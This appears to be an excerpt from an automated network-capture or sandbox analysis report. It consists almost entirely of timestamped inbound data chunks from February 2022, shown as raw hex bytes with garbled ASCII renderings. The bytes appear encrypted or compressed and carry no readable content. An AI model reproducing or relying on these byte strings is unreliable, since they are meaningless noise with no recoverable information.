94 07 f8 04 57 88 b6 ea 5e 55 75 29 76 80 5e ad ab 43 9d e5 b0 05 9e 29 f6 63 5e ea 35 ec 10 04 64 30 d3 c7 ef 7e 5c 20 
6c f1 16 8f 8b 02 3d cb 86 3e 01 83 9d 78 02 4f db 3e c2 8c 18 b5 8c 03 ff 36 76 45 cc e2 b5 86 7a 09 3f ce 6d 22 e8 df 51 
1e a0 c4 17 1d 6c 82 88 dd af 41 07 93 21 0a 8c dd b6 ed 0f 53 fe ea 84 1b f3 c1 11 03 cf fd 39 d9 b6 3f fa 1a 75 14 63 3e 
49 28 ec 70 cf 63 66 38 d8 e8 2e 35 f3 08 0f 09 cf 40 14 4f cc 8c 52 af 0c 4f 91 25 ac 4a 1a 6b 63 c9 91 25 e4 2e 22 ae aa 
e9 29 25 e4 67 62 ae ac 74 e9 e4 2b 93 02 cf 24 
Data Ascii: 6~NDuQMvvzMQ/m/)Ht>^8VuvkyJC%W^Uu)v^C)c^5d0~\ l=>xO>6vEz?m"QlA!S9?uc>I(pcf8.5@ORO%Jkc%."
)%gbt+$

2022-02-08 23:07:09 UTC 51 IN Data Raw: 90 5d dd bd 53 d6 93 2b f0 5d dd a5 4b 76 66 b2 77 4a 2e a9 31 49 e2 ef d8 8f 21 2c 57 c1 a7 f7 dc 8f 31 7c 
57 c1 bf 8f 7c 5f a8 b3 40 17 b3 f5 43 db f5 39 85 18 36 b2 cb 8f d1 01 40 c1 5f ba 6b 97 6c 86 57 df 77 c0 54 13 31 f4 93 
d0 f2 7b dd 57 15 c8 56 19 83 e3 dd 57 0c 04 6e 7c 33 78 52 40 7b 63 14 43 b7 25 0d 84 74 e6 86 ca e3 01 35 41 ad 8e 
d2 f2 86 12 e1 ce ba 5a fa 88 b9 96 bc 8a 7e 55 7f 05 30 d2 98 b6 bb 9c 0e 45 30 d2 81 a2 83 f9 84 de bf c5 cc c5 f9 c6 
00 83 9e 01 c3 40 15 4f 55 0b 9e 01 db a8 b5 e9 e8 94 89 a1 f3 d2 8a 6d b5 9c 4d ae 76 13 03 28 3d 98 4d be fe 13 03 
30 b5 38 54 4c 89 04 1c 57 cf 07 d0 11 7e c0 13 d2 f5 8e 85 99 7e c0 0b d2 55 fa 27 ee 69 b2 3c a8 6a 7e 7a 30 ad bd b9 
bf e3 3b f2 34 ad ad 79 bf e3 23 32 94 42 5f 0e a8 0a 44 48 
Data Ascii: ]S+]KvfwJ.1I!,W1|W|_@C96@_klWwT1{WVWn|3xR@{cC%t5AZ~U0E0@OUmMv(=M08TLW~~U'i<j~z
0;4y#2B_DH

2022-02-08 23:07:09 UTC 53 IN Data Raw: c9 8c 36 19 8f c0 f4 da 4c 88 30 51 04 04 e3 de 4c 81 30 55 04 17 54 da 4c 99 40 32 4c d3 c6 06 04 16 8c 98 
00 fe 8c d2 9e aa c6 54 52 ec de e9 b3 6b 96 f9 fb a9 1d b9 f9 6e 57 78 7b 26 94 f2 3b 25 53 70 71 e7 d8 3e e0 20 56 70 
6a e7 dc 4c 63 51 fe c7 2b c7 3a 40 63 cf c2 9c dd 18 8a 5e 5f 24 88 d5 11 ae 4f 9f d0 25 01 0e 17 a2 f9 c2 a8 8d 72 8a 
26 51 3a 9a de 8c 84 4a 5c c4 47 76 5d 4a 09 f5 9a 00 cb 7e d4 8a 0c 86 01 35 22 0d 4f bb 76 26 8e ab 4a 1a 05 e5 c4 1e 
2e df d5 22 12 50 9b a4 f6 db d5 32 f2 50 9b bc a6 7b 80 b4 9a 47 c6 b7 56 01 d0 74 95 c2 5f 3a 13 de d4 74 85 12 5f 3a 
0b 26 74 46 03 1a 48 00 00 d6 0e 7f c3 15 cd f0 8d 93 a1 7b c3 05 f5 f0 8d 8b c1 db 64 98 fd e7 22 9b 31 a1 42 58 f2 62 
cd 16 74 36 46 58 e2 32 cd 16 6c fe e6 c4 7f c2 da 82 7c 
Data Ascii: 6L0QL0UTL@2LTRknWx{&;%Spq> VpjLcQ+:@c^_$O%r&Q:J\Gv]J~5"Ov&J."P2P{GVt_:t_:&tFH{d"1BXbt6FX
2l|

2022-02-08 23:07:09 UTC 55 IN Data Raw: a7 f4 25 d8 ef ef 63 db 23 a9 6a 19 e0 6a e1 57 76 76 6a 19 f8 92 41 69 8f ae 7d 21 94 e8 7e ed d2 98 bc 2e 
11 13 f2 b8 25 98 bc 36 d9 b3 e3 41 e5 8f ab 5a a3 8c 67 1c fc 4e a4 df b2 dd 66 54 fc 53 62 7f e5 5f 5e 43 a5 e1 42 80 
18 40 c9 c8 9e 6c fc 0b 5c da 66 80 12 4c 7a 0b 5c c2 66 20 f9 c6 5a 1c b1 dd 1c 1f 7d 9b b5 dd be 58 4f 5b 72 e5 a8 d0 
3a 63 74 e5 f9 a1 c3 3d 76 ef 45 f1 fd a1 d3 15 76 ef 5d d9 5d bd 2b e5 61 f5 30 a3 62 39 76 21 a0 fa b5 aa ee 6c 79 21 
a0 e2 b5 0a 45 e6 89 36 0d fd cf 35 c1 bb 26 f7 02 78 0e ac 42 c6 3a 6f ff 67 b1 27 79 a3 84 e4 bb 15 1e 6f f5 83 2a e4 bb 
0d 1e cf 86 08 22 f3 ce 13 64 f0 02 55 a5 32 c1 96 5f b4 c5 2b b8 3f 8d ad ac 0a 4e 6f 1b d2 c1 21 9d d6 4a 6f 0b 32 c1 21 
85 36 ea cb f3 0a d6 83 e8 4c d5 4f ae 56 16 8c 6d 
Data Ascii: %c#jjWvvjAi}!~.%6AZgNfTSb_^CB@l\fLz\f Z}XO[r:ct=vEv]]+a0b9v!ly!E65&xB:og'yo*"dU2_+?No!Jo2!6LOVm

2022-02-08 23:07:09 UTC 57 IN Data Raw: 9f e4 49 4b 98 6f 03 d0 53 e4 49 7b 80 6f 03 c8 5b e4 49 73 b8 66 dc f8 f8 49 5f 73 b0 73 d4 3d 3b 68 56 75 08 
e3 1e 5c 23 f9 73 60 1f bf 70 ac 59 f8 b3 6f 9a 73 fb 61 b1 c5 8c 5d 8d 42 c4 6e c5 51 ec fe 85 6c 2e 49 51 e3 60 ce b6 00 
eb 80 39 e7 08 c8 2c cc 8b b5 10 f0 c3 ae 56 f3 75 20 dd bd e2 c7 3e 32 aa c3 b5 7a a6 e8 e8 79 9a d4 a0 62 dc d7 16 96 
57 9f 00 1d 1f 93 2b e7 1c af 17 a7 27 93 a0 43 a8 db a4 c8 e0 cd 2f 80 ec e6 6e 82 d0 da ec ca c5 55 a2 4d 22 b6 2d 05 
2e 3d 65 09 05 85 70 35 39 cd 6b 73 3a 7a 3f f8 74 f5 d8 1b 5f 39 a6 27 63 71 a6 ac 2b ee 41 3f a0 a6 ee d8 3b 2d a6 6f 
dc 8e 2d 27 63 69 86 ac 23 6e 05 2e be 6e 0a 21 35 24 95 c6 fe af df 69 19 7c 54 23 ae 9b 8f b7 2c 0c 0d 21 ae 99 8f b5 
25 d9 a0 36 6d 18 2b 7e 54 92 8b 64 d3 da 41 ee 9b 
Data Ascii: IKoSI{o[IsfI_ss=;hVu\#s`pYosa]BnQl.IQ`9,Vu >2zybW+'C/nUM"-.=ep59ks:z?t_9'cq+A?;-o-'ci#n.n!5$i|T#,!
%6m+~TdA

2022-02-08 23:07:09 UTC 59 IN Data Raw: 89 7b b1 39 4a f4 ff ff 83 cc 3d 3c 08 82 f3 24 69 42 30 aa 21 4c 49 69 e3 8f 8a 6d 25 61 bd ac e6 a3 7e 6f 25 
88 dd 7c e6 4b 53 34 e3 03 45 bf ab 0e 6e 97 7b cd ad d9 f3 8a 86 65 89 49 45 ee c7 9f 0e b3 07 5c 81 fb 03 db c9 f0 89 
93 c5 db 30 43 06 18 78 58 40 1b c5 81 08 08 4e c9 04 23 7f be c7 e0 37 a5 81 e3 8a 6c c9 f0 01 24 c5 db 28 7f 06 18 68 
47 3a af d7 cc 74 71 16 0e b7 b2 9d 46 bf 99 d8 fc 7c 5a a2 23 bf 99 61 08 50 e3 a2 cb db ab aa b2 18 68 61 71 5e 6b d6 
b7 27 a8 05 74 e4 83 1c 83 27 40 97 cb 2f 6b f6 69 ec a8 8f aa 2f 63 4c 21 67 6b 67 c3 f8 a8 a4 e8 7b 72 67 2b 3d 71 d0 
e0 b6 39 d8 cb b9 e3 1b 08 f9 1d d1 d3 39 de 12 6e e4 f5 17 bf 27 36 99 f7 22 7e 8f 7c 6a 73 a4 86 ba b0 67 0d f4 7e 5a 
6f 34 bd 71 4d e3 7e b2 66 88 af 71 a5 a3 6f ab 66 60 
Data Ascii: {9J=<$iB0!LIim%a~o%|KS4En{eIE\0CxX@N#7l$(hG:tqF|Z#aPhaq^k't'@/ki/cL!gkg{rg+=q99n'6"~|jsg
~Zo4qM~fqof`

2022-02-08 23:07:09 UTC 61 IN Data Raw: 34 a1 69 b0 7a 32 d4 7c 91 f0 18 97 1b 23 d4 7d db ef 3f ff 38 23 d5 77 eb ef 3e fd 18 23 d4 7d fb ef 3f ff 78 23 
d5 77 8b ef 3e fd 18 23 d4 7d 9b ef 3f ff 38 23 d5 77 ab ef 3e fd 18 64 fe f4 d4 8e 7e 57 5f 4e 67 9b b5 c6 54 10 89 cd e2 
64 a1 82 69 24 8e 09 21 63 69 4a e2 a0 aa 00 65 47 51 8b 2d c0 b6 30 a6 8a 31 d7 55 c2 b6 30 e6 88 31 d7 0d 0f 7b 58 
ea ec f5 10 e1 6b bd 11 6a 23 af e1 60 08 e6 63 a3 cb 6d 23 a4 40 6d 2c 2f 00 42 a7 67 87 a5 1c 2d 00 42 e7 a6 48 c5 00 
15 c3 8f 87 f2 30 08 cd 7d d7 e3 4a 37 50 04 a9 b0 18 86 7a 3f 50 8f f1 77 82 a4 67 f5 41 67 ec b5 46 ec ec 37 0e ef 63 7f 
07 68 2b 7d 4f 7b a1 35 45 51 cf 0e 79 6d c0 81 31 72 4a cb a1 a1 c4 81 21 7a 4a cb a9 99 da 5d 3c 0d 58 c8 b7 4d 77 3b 
3c 05 76 bc 74 37 fc f2 e4 ec 77 ba ef c7 ad b5 
Data Ascii: 4iz2|#}?8#w>#}?x#w>#}?8#w>d~W_NgTdi$!ciJeGQ-01U01{Xkj#`cm#@m,/Bg-BH0}J7Pz?PwgAgF7ch+}O{5
EQym1rJ!zJ]<XMw;<vt7w

2022-02-08 23:07:10 UTC 93 IN Data Raw: f1 4a 39 e9 cd 49 bb aa 32 a2 78 1c 07 29 36 93 e0 ca bd db f6 e1 ba ea ca dd 31 a4 45 3a d2 8f b4 9b 11 4c 
3f d5 9e ab dc 9d 85 80 19 aa b9 bc 9b d1 65 7f 58 12 ee 37 53 5a fe 1c d2 68 c2 20 59 26 4d c7 ba 0d 72 f6 86 31 f9 be 
19 d6 6a 35 51 79 8d ae da 31 3a 49 79 ba 7a 4e fa 26 7a 41 f5 29 fc b1 ff af 0c b2 0f be 26 4a 33 82 1a 45 3c 8d 95 0d 
35 0b 65 0e c5 1a 4f e6 f9 26 73 e9 f6 29 f1 a1 f5 a6 b9 a8 73 56 ba e0 60 7c 61 dc 5c 40 ea 96 c3 a7 21 1d 89 10 c6 c6 
1f 84 44 50 9d 11 c6 c4 16 5f a9 23 b5 60 95 1f 3e 22 ba 7c f9 e1 79 f7 b9 46 9e 64 7a 06 f8 7f ba c5 3b bc fa 62 dc 3f 39 
92 e0 b1 71 a9 6b f9 6b 22 89 46 8c 81 02 08 4a 0b 2b ca 89 84 63 e3 0e ca e7 18 85 84 68 ff 2e 74 79 7d 66 46 f2 37 e1 
a1 79 1c a8 dc ba df 23 92 34 bd d3 83 b6 c6 ef 43 75 
Data Ascii: J9I2x)61E:L?eX7SZh Y&Mr1j5Qy1:IyzN&zA)&J3E<5eO&s)sV`|a\@!DP_#`>"|yFdz;b?9qkk"FJ+ch.ty}fF7y#4Cu

Timestamp
kBytes
transferred

Direction Data
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2022-02-08 23:07:10 UTC 95 IN Data Raw: ab 6d 5c a7 21 25 7c 39 21 2a f7 73 be cd 3c f8 f4 62 db 2b 7f 28 6c cc a4 bc ee 59 26 28 65 19 09 cb ee 59 f7 
a4 2d 99 34 67 af d1 1e ed 0f ca 91 a5 3e 41 d9 9f bc 3d 1a 5c 5f fe ac 90 dd b6 a0 bb 96 c1 63 78 1d 8b a5 32 de 4b 66 
b9 90 cb a1 33 68 cf 15 96 20 09 54 55 e0 ca 94 55 6b 91 1f 15 68 56 95 ed 6c e3 5e 66 24 ef 75 c0 1a d3 49 88 12 ef 9f 
d6 30 2d 5c 5d 90 e3 c1 9e 50 20 4a d6 86 ac 89 16 45 e6 4e c4 0d 20 c3 07 cd e3 4c 4f cd a3 4f 88 46 03 44 c2 80 ff 87 
02 43 74 47 0b c9 3c 52 20 3e 42 91 e3 fc 9c 7c 20 3c 5f 3a 0e 8b 94 b1 46 87 bf 68 78 bb 83 e3 30 24 64 60 bb 6c cb 87 
30 e7 83 30 d7 74 08 70 d0 97 8a ec 52 0a 16 ec 5d 81 5e eb cd 0a 1c c4 3e c8 df 07 ce d0 50 49 45 03 df 07 c2 e4 2c 49 
52 34 28 ca 81 f7 ea 09 42 7c a0 96 a5 9f 9c 40 db bc 
Data Ascii: m\!%|9!*s<b+(lY&(eY-4g>A=\_cx2Kf3h TUUkhVl^f$uI0-\]P JEN LOOFDCtG<R >B| <_:Fhx0$d`l00tpR
]^>PIE,IR4(B|@

2022-02-08 23:07:10 UTC 97 IN Data Raw: 4f 23 f5 23 cd b7 7e 63 e2 34 36 7a 69 7c 0c f1 29 71 30 cd ff bf 24 0f 3c 34 6a 80 db d7 ed c8 db 5c a5 dc 95 
37 06 f5 56 f4 2d d5 c4 37 ee 5e 8a b8 09 bd a1 4e 99 7e 62 c5 d7 f1 85 26 58 b9 b6 0d 47 2b 75 ce cc 65 fa 29 2f e2 b2 
12 04 02 20 d1 c7 89 6e 5e 20 6a e5 16 3b 41 d0 84 f8 82 98 bf d3 52 a2 83 ef 7a 7e 01 a7 6e f4 49 aa 45 29 8e 69 86 a2 
c6 5a 0d e2 fd 66 bb 6a 87 4d 7b a9 44 71 ad bc 51 b3 6e 80 87 e8 7b 42 44 10 7d f3 50 6a f8 30 93 a9 d3 35 bf 95 ef 4f 
94 55 2c 8c a8 83 58 99 6a 40 d3 d1 67 6b f5 69 a5 a8 7e 21 3a 4f dd aa 72 e0 3a 01 f9 a8 8d e6 4a 23 cd e1 c9 a1 51 63 
54 3d 51 e5 a4 37 d6 ad a0 bc 9e bd 2b f4 95 96 2f 4c 57 55 07 4e 58 5a 08 c5 12 c5 ef 0e 99 8f 58 e9 4a 19 cc 6b df 92 
82 c4 38 e8 09 86 17 fb ca 45 d4 b3 d3 ce 9c 89 23 fb 
Data Ascii: O##~c46zi|)q0$<4j\7V-7^N~b&XG+ue)/ n^ j;ARz~nIE)iZfjM{DqQn{BD}Pj05OU,Xj@gki~!:Or:J#QcT=Q
7+/LWUNXZXJk8E#

2022-02-08 23:07:10 UTC 99 IN Data Raw: 2b 26 e4 0e e8 a9 aa c0 71 a6 6b 03 f7 56 68 88 bf 5d 11 b4 7d 91 d2 88 ab 83 dd 4a 68 c5 de fd b4 4e 96 33 
41 41 57 f0 ca 07 5d 47 1a 3b 8b 67 17 f9 48 ec 5f 37 af e3 9e f4 93 35 ab f9 51 f6 97 37 1a 06 57 f4 91 44 50 8f 52 87 93 
8f d9 cf 94 04 93 54 5f 8f d9 e7 8c 04 93 5c 57 92 18 12 fc f0 93 50 d3 93 50 93 10 d3 f6 b7 d3 23 f5 3d 9b 10 72 75 9a 9b 
3a 67 11 d5 b4 53 9b 9d 8e d8 d1 1b a6 92 57 2b 8d d6 dd e8 4e 5d 93 66 7a 76 7a ef b9 b5 b6 9b b2 f3 bc 57 ff b9 7f 94 
3c f1 65 1f 72 67 b1 94 3c e9 85 16 47 6a 46 d5 84 41 c7 5c 47 82 37 5f c8 cc b1 77 43 82 27 a3 b3 88 ac e9 35 ac 27 a3 
b3 80 1b 75 60 8f d9 b6 26 8c 6e 38 ad cc c9 df 46 0f 42 9f e1 e8 a1 5c 6e a6 27 78 e8 56 2d 88 f9 dd 65 85 fd 5b 41 47 
3e 98 82 43 b8 a8 43 80 7b 6b 7f 56 50 63 bd 95 16 
Data Ascii: +&qkVh]}JhN3AAW]G;gH_75Q7WDPRT_\WPP#=ru:gSW+N]fzvzW<erg<GjFA\G7_wC'5'u`&n8FB\n'xV-
e[AG>CC{kVPc

2022-02-08 23:07:10 UTC 103 IN Data Raw: b4 63 6a b7 77 48 dd eb b4 8b 56 a3 34 58 dd ed a3 bf 4e 66 e9 0c 9d ed a1 c4 1f 96 62 03 dc 55 2a 3e f7 61 
1a 02 cb 27 19 b4 18 6f 89 7f 56 e2 4d 54 f5 fe 71 68 df d9 b2 ab 1c 29 a3 5b 16 15 75 69 11 d7 b6 97 d2 10 75 54 62 c8 
fe 1a 35 2f 6d d1 f6 ec 17 12 31 2f d4 2e e7 3b d3 ec 24 b0 9d 93 c3 23 56 50 00 a8 1e d0 db 23 56 1e 74 cb 96 dd f2 3b 
95 56 b8 bc 72 d5 33 f4 f2 06 bc ba 7d e1 2f 31 37 66 c8 ca 7f e6 2b 41 35 59 cc b2 b7 17 5f 73 3c 5d e8 94 d7 17 6f 73 
34 2b b9 ab 33 e9 7a ed 30 5e be 96 f2 9d 7d 55 da 2d 41 83 bb 28 83 40 45 c9 45 83 86 7f a2 08 7c 89 65 0f be 4a d2 d7 
fe b4 2a 3f 3e 77 e8 89 ef fc a6 1e 08 6f 29 56 0c e4 61 5e 27 7a 5c 62 1b 52 dd 5e cd e0 d8 9c 0e a0 e3 08 b8 7c 68 40 
38 af 28 bb 8b 19 fd 30 71 ef f2 30 b3 2c 45 fe 8f fa d2 
Data Ascii: cjwHV4XNfbU*>a'oVMTqh)[uiuTb5/m1/.;$#VP#Vt;Vr3}/17f+A5Y_s<]os4+3z0^}U-A(@EE|eJ*?>wo)Va^'
z\bR^|h@8(0q0,E

2022-02-08 23:07:10 UTC 105 IN Data Raw: 8d 76 cf 2d c5 64 44 63 4a 83 a7 48 8b 7a 64 8b 00 34 eb 6c e3 4d 28 ef 20 8e 03 ef d8 4d c0 64 90 46 4b 2c 
8b 6d a0 ea 48 ae 2b a2 40 e8 28 15 95 63 66 c3 60 a4 a5 00 4b 7a 03 c3 88 f1 4b cb a3 63 3e 08 60 4b f8 23 89 3d 3b 
e0 02 75 33 cb fb 22 f0 08 70 62 f7 8b e8 62 7c c1 77 85 b7 55 fc c5 98 c6 76 8d a3 41 3e 8c 28 09 2c 07 66 86 cb fc 4d 
de 31 3f 8e 55 7f b0 69 b6 06 f3 aa 75 c5 d8 8d 7c f9 e4 06 32 76 03 fd 19 27 f9 3e da ac b7 b1 3d 4f ff a2 16 72 f6 9e 2a 
4e 20 f9 55 8c e3 72 1b 5a e1 73 d9 99 6a 3d 56 7e 89 ba 1e 7d a2 6d 16 41 9e e6 58 ce 79 05 73 9b 83 c6 b0 10 cd 49 
57 f3 85 52 7c 5a 8d 6e 40 d8 f6 bb 83 1b 35 30 cb 10 7d 20 f7 04 f6 6e 78 e3 15 45 d8 ea 29 79 53 a2 b6 9e f0 29 f6 99 
63 b5 f6 12 2b b2 7d 58 b0 79 f6 12 03 aa 7d 58 b8 71 eb da 
Data Ascii: v-dDcJHzd4lM( MdFK,mH+@(cf`KzKc>`K#=;u3"pbb|wUvA>(,fM1?Uiu|2v'>=Or*N UrZsj=V~}mAXysIWR|Z
n@50} nxE)yS)c+}Xy}Xq

2022-02-08 23:07:10 UTC 107 IN Data Raw: a0 2d 31 53 0b 4f ba 11 24 5c 79 d2 e7 d3 31 e0 65 9b 3b 62 2d a1 b9 2a 36 e9 88 01 63 ac 4b c2 e1 d0 e0 01 
22 13 6b 4f ac 07 9b 5e 2a 4f 9f 75 a3 03 5c b6 53 00 d7 f8 dd 14 50 b2 63 00 db f8 e5 74 50 b2 63 08 db f8 e5 0c e7 2e 
98 79 25 ed 1e 89 19 62 50 07 6d ed 1e 81 79 a5 0a c9 71 a1 8c 19 b3 63 4f da 16 e4 05 64 c2 6b 4f da 2e e4 05 64 da 
6b 4f da 3e 40 b2 65 fd 83 f4 66 4b 49 bc 6a 60 d5 f9 a9 a3 fd 78 d3 04 3e bb 10 38 e8 b2 65 fa 2b 35 2d 7c 2f be 65 ea 
5b 39 2f 55 bc c2 a0 1f 03 25 53 94 4d ab 27 1a 05 a6 a0 50 ba 41 4b 1a 0d a6 a8 31 99 6c 6b f2 d1 60 40 15 94 a3 83 9e 
da 2d f7 b5 72 f9 34 76 fd b7 6b 91 ee 74 a8 52 64 3c 30 b1 ee 74 80 5a 64 3c 38 a9 ee 74 18 2b 72 f6 85 b5 72 f9 8a 3e 
3a fe 01 74 a1 35 8a 3e 0a e6 01 74 b9 3d 95 ff f9 12 36 7d 
Data Ascii: -1SO$\y1e;b-*6cK"kO^*Ou\SPctPc.y%bPmyqcOdkO.dkO>@efKIj`x>8e+5-|/e[9/U%SM'PAK1lk`@-r4vktR
d<0tZd<8t+rr>:t5>t=6}

2022-02-08 23:07:10 UTC 143 IN Data Raw: 30 50 24 84 f3 16 27 32 26 2a f1 b6 4a e8 32 fe da 3b 48 75 19 f8 8b f2 51 fb a0 b2 55 c7 9c 39 1d 58 7b ca 96 
18 7c 29 0a 18 f7 63 95 ff 3c e8 df 50 db 3b 54 1a 6c dc 8f 8e ee 49 0d 1a 65 09 22 b9 ee 41 38 c3 1e 82 fb 00 94 ca c1 
8a 34 f9 4a c2 1d d2 33 70 de 11 b8 3e 51 f6 3b bc 2a b5 f8 7f e9 3e b0 6c c2 5a 5a af 01 d1 14 20 e6 52 3f ea 0c 91 fc ac 
0f 5d bb 19 cd 9e 78 25 c6 52 3f a5 04 91 fc 99 0f 5d bb 7a cd 9e 78 46 c6 52 3f 82 04 91 fc be 0f 5d bb 93 cc 9e 78 af c7 
52 3f db 04 91 fc e7 0f 26 63 db 04 91 82 e7 0f 27 fb 1d 8f c4 4c 6b 75 44 97 dc 06 cf d9 0b eb 40 91 0f 60 08 99 24 97 cd 
5a e7 bd 1b 98 24 7e 90 d6 ab 99 13 fd 8d 73 d0 3e 06 3d 5f d9 85 ba 93 ad b6 91 d7 44 75 52 5c 0a fa b5 df 85 b2 8e f4 
3c 5b 4d 37 7c e3 96 f4 b0 a4 38 c8 8c 98 42 
Data Ascii: 0P$'2&*J2;HuQU9X{|)c<P;TlIe"A84J3p>Q;*>lZZ R?]x%R?]zxFR?]xR?&c'LkuD@`$Z$~s>=_DuR\<[M7|8B

2022-02-08 23:07:10 UTC 145 IN Data Raw: 81 5f b3 45 02 99 70 86 88 d1 42 0c c0 fa cd 44 f1 c6 1b c8 95 04 d8 43 dd 53 3f c8 1b 90 fc 43 53 9b c0 95 b6 
f0 02 56 46 e8 8d 1e 45 63 cb 1d f3 a7 3b 1e d9 c7 f8 dd 1a 8f bf 3a 89 49 7c f9 06 89 7f b9 2a 4c c8 53 16 40 7e 76 98 08
75 fd d2 97 92 0e 22 86 14 fe 21 0c 5c f3 25 8b bb 18 e2 48 78 db 69 02 cf 3c 8a 3e 19 90 ec fc da b8 35 73 92 b5 c5 62 
62 bf 4e 28 fd 58 a5 2c 7a bf 46 eb b9 7c 85 d7 6f 94 e3 15 ac 1f ab 2e 27 59 a8 99 7b d2 e6 0e 9c 51 6d 46 97 55 ea a1 
24 9d 29 72 e7 a1 ff c4 80 63 3c 82 83 d4 7a 09 cd 43 9d 8a 46 0b 91 01 0c 64 76 02 cf a7 b5 3e 19 47 d3 fc da 01 d0 30 
9d a5 ec 0c a1 2e a4 00 9d f8 35 67 5f 3b 75 5c 63 f7 23 5c 2b f7 ac 12 74 10 7f d4 b7 d3 f5 9c 2f 00 7f d4 87 db f5 9c 37 
38 7f d4 8f d3 f5 9c af 51 68 9c 24 1b f7 7b ef 
Data Ascii: _EpBDCS?CSVFEc;:I|*LS@~vu"!\%Hxi<>5sbbN(X,zF|o.'Y{QmFU$)rc<zCFdv>G0.5g_;u\c#\+t/78Qh${

2022-02-08 23:07:10 UTC 147 IN Data Raw: f1 fc a2 53 7a b4 6a 6f ac 5e 36 ad 6f 76 fe d7 ae b4 3d 14 92 62 02 4a 50 a1 f2 49 78 67 89 8b bb a4 4a 00 f3 
3b ad 93 78 73 1a 74 e3 f8 5a 73 60 64 5a 7c 6f 6b d9 ec e4 2b f6 0f 6f 63 ec 84 27 a9 67 ca a5 95 ec 8a 9e ab 58 4f a2 
7d 7f 12 60 be f4 5a e8 75 7f 14 6a 49 f4 54 51 77 40 91 6d a1 53 cc af 62 d8 8c a8 81 40 8c a7 8e c3 1c 2c ce ec 9f a7 
86 32 f7 a4 47 f1 70 ec 46 7a 38 fe cd 34 b7 19 2e 1f f3 c3 ed dc 78 8d 62 3b 9b a6 88 e2 58 65 44 96 5b 4d 96 6c 9b fb 
5c 16 59 38 9f d5 fc 72 17 2c 77 3a 8f df fc 7c 97 69 d5 57 41 af 16 94 ca ef 11 17 52 ef 1e 18 5d 64 56 1f d6 2e cd d4 5d 
64 7e 07 d6 2e c5 dc 40 ac 52 5e d6 2e c7 dc 42 a5 89 77 20 2e cb 58 33 ed 08 9b b8 a5 32 1d f0 96 7a 04 8d 6a b9 c7 
4e e1 f7 49 35 11 e6 ce 7d 14 60 02 09 2e 65 84 7d ed 
Data Ascii: Szjo^6ov=bJPIxgJ;xstZs`dZ|ok+oc'gXO}`ZujITQw@mSb@,2GpFz84.xb;XeD[Ml\Y8r,w:|iWAR]dV.]d~.@R^.Bw 
.X32zjNI5}`.e}

Timestamp
kBytes
transferred

Direction Data
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2022-02-08 23:07:10 UTC 149 IN Data Raw: c0 3f 6d 86 4b 77 78 0d 03 7f 53 ad c8 bc 90 85 08 fc 9b b9 83 b4 04 5e 10 3f 4c e9 f7 a4 c7 a9 f0 27 5b a9 ff 
28 d8 39 74 68 f7 da 3c a2 7d 92 27 9e ab 9e 7d 5c 68 11 33 92 bb 6b f2 51 4b 7a 78 19 41 3a c2 92 83 8c 05 68 41 3b 
d2 e7 0f fd eb e3 ce 3e 60 a3 cc 9d 5c a2 46 65 57 1c 9a 4d 76 97 3a 4c f4 ec f3 8f 37 2f 78 c1 f8 ac f3 c3 da 6a 72 8b 4d 
a0 e9 02 05 2f 23 91 39 3f a8 d1 3e dc 30 d1 31 d3 bb 9b ae 34 70 10 e4 9b 97 c3 6f d1 20 24 b4 45 a2 b3 36 d3 20 26 b4 
47 ab 66 9b a4 20 26 65 f3 5b e7 a6 30 d1 af 9d b7 99 9e 12 ff bb 28 c0 85 78 eb 13 46 53 27 bc 85 90 ac f6 43 2b d7 37 
80 ad 9f d8 67 2f df f5 a0 ad 97 fb 9c 7b 7b a1 5e b8 8b 8f d5 f6 55 c2 ae 37 96 8a 9d bc d8 5c 3b c7 19 9f c1 77 3a 53 87 
07 f9 90 44 47 41 7b 86 8b 07 11 45 48 c4 9a e5 4e 
Data Ascii: ?mKwxS^?L'[(9th<}'}\h3kQKzxA:hA;>`\FeWMv:L7/xjrM/#9?>014po $E6 &Gf &e[0(xFS'C+7g/{{^U7\;
w:SDGA{EHN

2022-02-08 23:07:10 UTC 151 IN Data Raw: 48 b4 a8 11 00 3f 7b 9a 4a b1 6f 11 02 3a b4 9a 48 b4 a8 11 00 3f 4b 9a 4a b1 6f 11 02 3a 84 9a 4a b9 77 11 
00 3f 43 9a 48 be b8 11 02 30 94 9a 4c be 90 e3 32 7c 53 20 b9 36 d5 1c 92 74 ec 20 ae 32 ef 96 7f b9 a7 9e 43 6f ac d3 
81 ac 27 9b 89 90 f1 87 c4 52 32 08 8a 0d d5 0b 49 ce 16 81 01 56 f5 0b 49 e6 1e 81 01 c6 9c 1c 9d 58 9c 13 92 57 17 5b 
95 dc 5d c0 5e 57 17 6b 8d dc 5d d8 6e 48 d6 98 41 bb 96 3b 9a 78 66 23 18 30 5d a8 50 01 d6 e0 7a 87 90 e3 c7 76 1b 
a3 60 91 f8 60 e7 d9 fc eb 47 c9 73 a5 c8 2e e0 2e 80 20 67 c6 80 ab a7 d3 bc 7d 40 9e 7e be 06 9d c9 50 4e 1a 2e c3 08 
19 99 25 c8 02 61 39 77 0f 21 32 4b f7 3d fe cd ec 75 fe 46 a4 ea 19 c5 2f a2 b6 22 a4 29 fe 95 43 b2 75 d5 44 41 e9 d5 
04 4a d5 fd 21 45 da 76 6b da 3d bd e0 90 92 5a 33 05 06 d8 
Data Ascii: H?{Jo:H?KJo:Jw?CH0L2|S 6t 2Co'R2IVIXW[]^Wk]nHA;xf#0]Pzv``Gs.. g}@~PN.%a9w!2K=uF/")CuDAJ!Evk=Z3

2022-02-08 23:07:10 UTC 153 IN Data Raw: 5c a8 f5 3e 9f 6b 7e 76 97 40 6d cb 54 83 e6 83 4f 08 a0 80 f8 ce 2b bc f8 78 ef 37 b6 a6 4a 78 74 65 c0 30 79 
e7 c4 f5 2e 24 07 36 12 f2 d8 73 d0 31 5a 3b 55 f6 d1 73 59 bc 17 df b4 7c d4 5d fd e9 13 76 a0 b1 2f 4a 22 f8 ba 81 a9 
b0 b6 aa f8 e8 8a 96 7a 24 fe 03 b5 af b6 0f 9e 71 e9 33 a2 fa a1 e5 87 be 63 26 0c f6 6f ad 0e cf 8c 86 17 97 b0 ba 5f 41 
9f ff 9d 82 14 b7 91 a9 1b ef ad 95 53 39 a8 d1 91 fa 23 99 9d d1 5e c1 a1 ed dc 89 b7 66 94 85 9c 16 cc b9 a0 99 82 7f 
8f d1 40 bc 01 99 4c c5 c2 5b 8f 06 49 13 82 8d 03 8c 65 66 8c c6 c2 81 6f ed cf 1d ac 2e 44 5d a7 12 cf 61 a4 51 30 a4 
